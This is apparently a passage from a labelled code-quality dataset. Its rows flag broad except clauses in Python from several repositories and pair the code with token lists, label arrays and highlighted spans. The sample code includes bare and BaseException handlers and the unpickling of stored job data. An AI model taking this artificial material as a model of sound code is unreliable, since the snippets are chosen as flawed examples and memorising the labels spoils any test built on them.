"fs", "'_", "%_", "interval_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "interval_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "logger_", "._", "debug_", "(_", "'", "job", " ", "found", ":", " ", "%", "s", "'_", "%_", "str_", "(_", "job_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--", " ", "don", "'", "t", " ", "let", " ", "the", " ", "cmd", " ", "mess", " ", "up", " ", "our", " ", "tria", "l", " ", "object_", "\\u\\u\\uNL\\u\\u\\u_", "spec_", "=_", "spec", "\\u", "from", "\\u", "misc_", "(_", "job_", "[_", "'", "misc", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ctrl_", "=_", "Mon", "go", "Ctrl_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "trials_", "=_", "Mon", "go", "Trial", "s_", "(_", "mj", "_", ",_", "exp", "\\u", "key_", "=_", "job_", "[_", "'", "exp", "\\u", "key", "'_", "]_", ",_", "refresh_", "=_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "read", "\\u", "only_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "current", "\\u", "trial_", "=_", "job_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "workdir_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "workdir_", "=_", "job_", "[_", "'", "misc", "'_", "]_", "._", "get_", "(_", "'", "workdir", "'_", ",_", "os_", "._", "getcwd_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "workdir_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "workdir_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "workdir_", "=_", "os_", "._", "path_", "._", "join_", "(_", "workdir_", ",_", "str_", "(_", "job_", "[_", "'\\u", "id", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "workdir_", "=_", "self_", "._", "workdir_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "workdir_", "=_", "os_", "._", "path_", "._", "abspath_", "(_", "os_", "._", "path_", "._", "expanduser_", "(_", "workdir_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root", "\\u", "logger_", "=_", "logging_", "._", "get", "Logger_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "logfile", "name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "make", "\\u", "log", "\\u", "handler_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "\\u", "logger_", "._", "add", "Handler_", "(_", "self_", "._", "log", "\\u", "handler_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cmd_", "=_", "job_", "[_", "'", "misc", "'_", "]_", "[_", "'", "cmd", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmd", "\\u", "protocol_", "=_", "cmd_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "cmd", "\\u", "protocol_", "==_", "'", "cpi", "ckl", "ed", " ", "fn", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "worker", "\\u", "fn_", "=_", "c", "Pickle_", "._", "loads_", "(_", "cmd_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "cmd", "\\u", "protocol_", "==_", "'", "call", " ", "evaluate", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "bandi", "t_", "=_", "c", "Pickle_", "._", "loads_", "(_", "cmd_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "worker", "\\u", "fn_", "=_", "bandi", "t_", "._", "evaluate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "cmd", "\\u", "protocol_", "==_", "'", "token", "\\u", "load", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "cmd", "\\u", "toks_", "=_", "cmd_", "[_", "1_", "]_", "._", "split_", "(_", "'.'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmd", "\\u", "module_", "=_", "'.'_", "._", "join_", "(_", "cmd", "\\u", "toks_", "[_", ":_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "worker", "\\u", "fn_", "=_", "exec", "\\u", "import_", "(_", "cmd", "\\u", "module_", ",_", "cmd_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "cmd", "\\u", "protocol_", "==_", "'", "bandi", "t", "\\u", "json", " ", "evaluate", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "bandi", "t_", "=_", "json", "\\u", "call_", "(_", "cmd_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "worker", "\\u", "fn_", "=_", "bandi", "t_", "._", "evaluate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "cmd", "\\u", "protocol_", "==_", "'", "driver", "\\u", "attach", "ment", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "name", " ", "=", " ", "'", "driver", "\\u", "attach", "ment", "\\u", "%", "s", "'", " ", "%", " ", "job", "['", "exp", "\\u", "key", "']", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "blob_", "=_", "ctrl_", "._", "trials_", "._", "attachments_", "[_", "cmd_", "[_", "1_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bandi", "t", "\\u", "name_", ",_", "bandi", "t", "\\u", "args_", ",_", "bandi", "t", "\\u", "kwargs_", "=_", "c", "Pickle_", "._", "loads_", "(_", "blob_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "worker", "\\u", "fn_", "=_", "json", "\\u", "call_", "(_", "bandi", "t", "\\u", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "args_", "=_", "bandi", "t", "\\u", "args_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "kwargs_", "=_", "bandi", "t", "\\u", "kwargs_", ")_", "._", "evaluate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "cmd", "\\u", "protocol_", "==_", "'", "domain", "\\u", "attach", "ment", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "blob_", "=_", "ctrl_", "._", "trials_", "._", "attachments_", "[_", "cmd_", "[_", "1_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "domain_", "=_", "c", "Pickle_", "._", "loads_", "(_", "blob_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Base", "Exception_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "logger_", "._", "info_", "(_", "'", "Error", " ", "whi", "le", " ", "unp", "ick", "ling", ".", " ", "Tr", "y", " ", "install", "ing", " ", "dil", "l", " ", "via", " ", "\"", "pip", " ", "install", " ", "dil", "l", "\"", " ", "for", " ", "enhance", "d", " ", "pick", "ling", " ", "support", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "worker", "\\u", "fn_", "=_", "domain_", "._", "evaluate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "Value", "Error_", "(_", "'", "Unre", "cogni", "zed", " ", "cmd", " ", "protoc", "ol", "'_", ",_", "cmd", "\\u", "protocol_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "temp", "\\u", "dir_", "(_", "workdir_", ",_", "erase", "\\u", "created", "\\u", "workdir_", ")_", ",_", "working", "\\u", "dir_", "(_", "workdir_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "result_", "=_", "worker", "\\u", "fn_", "(_", "spec_", ",_", "ctrl_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "SON", "ify_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Base", "Exception_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "XX", "X", ":", " ", "save", " ", "exception", " ", "to", " ", "databa", "se", ",", " ", "but", " ", "if", " ", "this", " ", "fail", "s", ",", " ", "then_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "at", " ", "leas", "t", " ", "raise", " ", "the", " ", "original", " ", "traceback", " ", "proper", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "info_", "(_", "'", "job", " ", "exception", ":", " ", "%", "s", "'_", "%_", "str_", "(_", "e_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctrl_", "._", "checkpoint_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mj", "_", "._", "update_", "(_", "job_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "state", "'_", ":_", "JOB", "\\u", "STATE", "\\u", "ERROR_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "error", "'_", ":_", "(_", "str_", "(_", "type_", "(_", "e_", ")_", ")_", ",_", "str_", "(_", "e_", ")_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "logfile", "name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root", "\\u", "logger_", "._", "remove", "Handler_", "(_", "self_", "._", "log", "\\u", "handler_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "logger_", "._", "info_", "(_", "'", "job", " ", "finish", "ed", ":", " ", "%", "s", "'_", "%_", "str_", "(_", "job_", "[_", "'\\u", "id", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "attachments_", "=_", "result_", "._", "pop_", "(_", "'", "attach", "ment", "s", "'_", ",_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "aname_", ",_", "aval", "_", "in_", "attachments_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "info_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "mongo", "exp", ":", " ", "saving", " ", "attach", "ment", " ", "name", "=", "%", "s", " ", "(%", "i", " ", "bytes", ")'_", "%_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "aname_", ",_", "len_", "(_", "aval", "_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctrl_", "._", "attachments_", "[_", "aname_", "]_", "=_", "aval", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ctrl_", "._", "checkpoint_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mj", "_", "._", "update_", "(_", "job_", ",_", "{_", "'", "state", "'_", ":_", "JOB", "\\u", "STATE", "\\u", "DONE_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
SteveAbb/Vestigo/Vestigo Base/settings.py
[ { "content": "\tdef __init__(self):\n\t\t#Set defaults\n\t\tself.baseServer_Port=8080\n\t\tself.baseServer_ForwardData=None\n\t\tself.baseServer_Recache=60\n\t\tself.baseServer_ForwardTimeout=8\n\t\tself.baseServer_ForwardLocation=True\n\t\t\n\t\tself.logging_File=\"vestigo_base.log\"\n\t\tself.logging_MaxSize=1024*1024 # 1MB\n\t\tself.logging_FileCount=5\n\t\tself.logging_UseLog=False\n\t\tself.logging_STDOUT=True\n\t\t\n\t\tif not os.path.isfile(\"vestigo_base.ini\"):\n\t\t\traise \"Error reading configuration file\"\n\t\t\n\t\tConfig = ConfigParser.ConfigParser()\n\t\tConfig.read(\"vestigo_base.ini\")\n\t\n\t\ttry: self.baseServer_Port=int(Config.get(\"Base Server\",\"port\"))\n\t\texcept: pass\n\t\ttry: self.baseServer_ForwardData=Config.get(\"Base Server\",\"forwarddata\") \n\t\texcept: pass\n\t\ttry: self.baseServer_RecacheRules=int(Config.get(\"Base Server\",\"recacherules\"))\n\t\texcept: pass\n\t\ttry: self.baseServer_ForwardTimeout=int(Config.get(\"Base Server\",\"forwardtimeout\"))\n\t\texcept: pass\n\t\ttry: self.baseServer_ForwardLocation=Config.getboolean(\"Base Server\",\"forwardlocation\")\n\t\texcept: pass\n\t\t\n\t\n\t\ttry: self.logging_File=Config.get(\"Logging\",\"file\") \n\t\texcept: pass\n\t\ttry: self.logging_MaxSize=Config.get(\"Logging\",\"maxsize\") \n\t\texcept: pass\n\t\ttry: self.logging_FileCount=Config.get(\"Logging\",\"filecount\") \n\t\texcept: pass\n\t\ttry: self.logging_UseLog=Config.getboolean(\"Logging\",\"uselog\") \n\t\texcept: pass\n\t\ttry: self.logging_STDOUT=Config.getboolean(\"Logging\",\"stdout\") \n\t\texcept: pass", "metadata": "root.Settings.__init__", "header": "['class', 'Settings', '(', ')', ':', '___EOS___']", "index": 6 } ]
[ { "span": "except: ", "start_line": 27, "start_column": 2, "end_line": 27, "end_column": 9 }, { "span": "except: ", "start_line": 29, "start_column": 2, "end_line": 29, "end_column": 9 }, { "span": "except: ", "start_line": 31, "start_column": 2, "end_line": 31, "end_column": 9 }, { "span": "except: ", "start_line": 33, "start_column": 2, "end_line": 33, "end_column": 9 }, { "span": "except: ", "start_line": 35, "start_column": 2, "end_line": 35, "end_column": 9 }, { "span": "except: ", "start_line": 39, "start_column": 2, "end_line": 39, "end_column": 9 }, { "span": "except: ", "start_line": 41, "start_column": 2, "end_line": 41, "end_column": 9 }, { "span": "except: ", "start_line": 43, "start_column": 2, "end_line": 43, "end_column": 9 }, { "span": "except: ", "start_line": 45, "start_column": 2, "end_line": 45, "end_column": 9 }, { "span": "except: ", "start_line": 47, "start_column": 2, "end_line": 47, "end_column": 9 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Settings_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Set", " ", "defaults_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "self_", "._", "base", "Server", "\\u", "Port_", "=_", "8080_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "base", "Server", "\\u", "Forward", "Data_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "base", "Server", "\\u", "Rec", "ache_", "=_", "60_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "base", "Server", "\\u", "Forward", "Timeout_", "=_", "8_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "base", "Server", "\\u", "Forward", "Location_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "logg", "ing", "\\u", "File_", "=_", "\"", "ves", "tig", "o", "\\u", "base", ".", "log", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "logg", "ing", "\\u", "Max", "Size_", "=_", "1024_", "*_", "1024_", "#", " ", "1", "MB_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "logg", "ing", "\\u", "File", "Count_", "=_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "logg", "ing", "\\u", "Us", "e", "Log_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "logg", "ing", "\\u", "STDOUT_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "isfile_", "(_", "\"", "ves", "tig", "o", "\\u", "base", ".", "ini", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "raise_", "\"", "Error", " ", "readi", "ng", " ", "configura", "tion", " ", "file", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Config_", "=_", "Config", "Parser_", "._", "Config", "Parser_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Config_", "._", "read_", "(_", "\"", "ves", "tig", "o", "\\u", "base", ".", "ini", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "self_", "._", "base", "Server", "\\u", "Port_", "=_", "int_", "(_", "Config_", "._", "get_", "(_", "\"", "Base", " ", "Server", "\"_", ",_", "\"", "port", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "self_", "._", "base", "Server", "\\u", "Forward", "Data_", "=_", "Config_", "._", "get_", "(_", "\"", "Base", " ", "Server", "\"_", ",_", "\"", "forward", "data", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "self_", "._", "base", "Server", "\\u", "Rec", "ache", "Rules_", "=_", "int_", "(_", "Config_", "._", "get_", "(_", "\"", "Base", " ", "Server", "\"_", ",_", "\"", "reca", "cher", "ule", "s", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "self_", "._", "base", "Server", "\\u", "Forward", "Timeout_", "=_", "int_", "(_", "Config_", "._", "get_", "(_", "\"", "Base", " ", "Server", "\"_", ",_", "\"", "forward", "timeo", "ut", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "self_", "._", "base", "Server", "\\u", "Forward", "Location_", "=_", "Config_", "._", "getboolean_", "(_", "\"", "Base", " ", "Server", "\"_", ",_", "\"", "forward", "location", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "self_", "._", "logg", "ing", "\\u", "File_", "=_", "Config_", "._", "get_", "(_", "\"", "Log", "ging", "\"_", ",_", "\"", "file", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "self_", "._", "logg", "ing", "\\u", "Max", "Size_", "=_", "Config_", "._", "get_", "(_", "\"", "Log", "ging", "\"_", ",_", "\"", "maxs", "ize", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "self_", "._", "logg", "ing", "\\u", "File", "Count_", "=_", "Config_", "._", "get_", "(_", "\"", "Log", "ging", "\"_", ",_", "\"", "fileco", "unt", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "self_", "._", "logg", "ing", "\\u", "Us", "e", "Log_", "=_", "Config_", "._", "getboolean_", "(_", "\"", "Log", "ging", "\"_", ",_", "\"", "usel", "og", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "self_", "._", "logg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, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2 ]
Except block handles 'BaseException'
CollabQ/CollabQ/common/views.py
[ { "content": "def common_confirm(request):\n message = request.REQUEST['message']\n redirect_to = request.REQUEST['redirect_to']\n\n try:\n validate.nonce(request, message + redirect_to)\n\n parts = urlparse.urlparse(redirect_to)\n action_url = parts[2]\n query_dict = cgi.parse_qs(parts[4], keep_blank_values=True)\n query_dict = dict([(k, v[0]) for k, v in query_dict.iteritems()])\n\n except:\n message = None\n exception.handle_exception(request)\n\n\n c = template.RequestContext(request, locals())\n t = loader.get_template('common/templates/confirm.html')\n return http.HttpResponse(t.render(c))", "metadata": "root.common_confirm", "header": "['module', '___EOS___']", "index": 31 }, { "content": "def common_error(request):\n message = request.REQUEST['error']\n\n try:\n validate.error_nonce(request, message)\n except:\n exception.handle_exception(request)\n message = \"An error has occurred\"\n\n c = template.RequestContext(request, locals())\n t = loader.get_template('common/templates/error_generic.html')\n return http.HttpResponse(t.render(c))", "metadata": "root.common_error", "header": "['module', '___EOS___']", "index": 73 }, { "content": "def common_photo_upload(request, success=\"/\", nick=None):\n if not nick:\n nick = request.user.nick\n if request.FILES:\n try:\n # we're going to handle a file upload, wee\n validate.nonce(request, 'change_photo')\n img = request.FILES.get('imgfile')\n\n if not img:\n raise exception.ValidationError('imgfile must be set')\n validate.avatar_photo_size(img)\n\n img_url = api.avatar_upload(request.user,\n nick,\n img.read())\n api.avatar_set_actor(request.user, nick, img_url)\n return util.RedirectFlash(success, \"Avatar uploaded\")\n except:\n exception.handle_exception(request)\n\n elif 'avatar' in request.POST:\n try:\n validate.nonce(request, 'change_photo')\n avatar_path = request.POST.get('avatar')\n if not avatar_path:\n raise exception.ValidationError('avatar must be set')\n\n rv = api.avatar_set_actor(request.user, nick, avatar_path)\n if not rv:\n raise exception.ValidationError('failed to set avatar')\n return util.RedirectFlash(success, \"Avatar changed\")\n except:\n exception.handle_exception(request)\n\n if 'delete' in request.REQUEST:\n try:\n validate.nonce(request, 'delete_photo')\n validate.confirm_dangerous(request, 'Delete your photo?')\n rv = api.avatar_clear_actor(request.user, nick)\n return util.RedirectFlash(success, \"Avatar deleted\")\n except:\n exception.handle_exception(request)", "metadata": "root.common_photo_upload", "header": "['module', '___EOS___']", "index": 91 }, { "content": "def call_api_from_request(request, api_call):\n \"\"\"Call an API function 'api_call' if it's present in the request parameters.\n\n The first parameter to the API call is always the logged-in user.\n\n The rest of the parameters may come in two forms:\n api_call_name=first_param& ... rest of params\n or\n api_call_name=& ... rest of params\n\n rest_of_params is always turned into Python keyword arguments.\n\n If the api_call_name has a value, that is turned into Python positional\n params.\n RETURNS:\n (False, None) if it isn't or the call throws an exception,\n (True, return value from call) otherwise.\n \"\"\"\n # TODO(termie): make this only accept POST once we update javascript\n # to turn the links into POSTs\n for request_dict in (request.POST, request.GET):\n if api_call in request_dict:\n # debug\n logging.info(\">>> CALL: %s\", str(api_call))\n # end debug\n call = getattr(api, api_call)\n try:\n validate.nonce(request, api_call)\n confirm_msg = messages.confirmation(api_call)\n # debug\n # logging.info(\">>> MESSAGE : %s\", str(confirm_msg))\n # end debug\n \n if not confirm_msg is None:\n validate.confirm_dangerous(\n request, messages.confirmation(api_call))\n kwparams = util.query_dict_to_keywords(request_dict)\n # debug\n logging.info(\">>> KWPARAMS: %s\", str(kwparams))\n # end debug\n \n if '' in kwparams:\n del kwparams['']\n first_param = kwparams.pop(api_call, '')\n params = list()\n if len(first_param):\n params = (first_param,)\n validate.nonce(request, api_call)\n kwparams.pop('_nonce')\n kwparams.pop('confirm', None)\n kwparams.pop('redirect_to', None)\n # debug\n logging.info(\"##### CALL: %s\", str((params, kwparams)))\n # end debug\n\n return (True, 